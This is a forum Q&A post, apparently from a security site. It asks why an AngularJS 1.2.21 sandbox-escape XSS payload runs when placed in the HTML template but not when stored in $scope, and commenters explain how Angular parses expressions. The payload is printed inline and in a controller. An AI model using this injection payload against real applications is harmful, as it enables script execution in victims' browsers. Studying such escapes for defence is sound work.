2

Using an older version of AngularJS : 1.2.21 from example, there are some playload that can generate an XSS.

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

But when this payload is stocked into a $scope, it doesn't work. There is a live example on JsBin

If payload is directly passed into the HTML, the XSS it works fine. But if the payload is passed from the scope, it doesn't work

I don't understand why the second payload is not executed.

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Angular JS</title>
</head>
<body ng-app="jsbin">
  <div ng-controller="DemoCtrl as demo">
    <h1>Hello {{demo.name}}</h1>

     {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert('working if not in scope')"].sort(toString.constructor);}}

  </div>
  <script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.2.21/angular.js"></script>

</body>
</html>

The controller :

var app = angular.module('jsbin', []);

app.controller('DemoCtrl', function() {
  this.name = 'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);';
});
  • When it's in the HTML, Angular is treating it as an expression. When it's passed from the scope, Angular is treating it as a string, so it doesn't try to parse it at all – paj28 May 20 '16 at 17:01
  • paj28 is correct. His comment should be treated as the answer. – Erlend May 22 '16 at 8:39
  • @paj28 so stored xss cannot append in this case rigth ? – mpgn May 22 '16 at 13:19
  • Yeah, I don't think it's possible in this case. If the app did something like $sce.trustAsHtml then it might be. – paj28 May 22 '16 at 15:15
  • @paj28 not with trusted html jsbin.com/zawunuhaxo/edit?html,js,output – mpgn May 24 '16 at 15:57

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.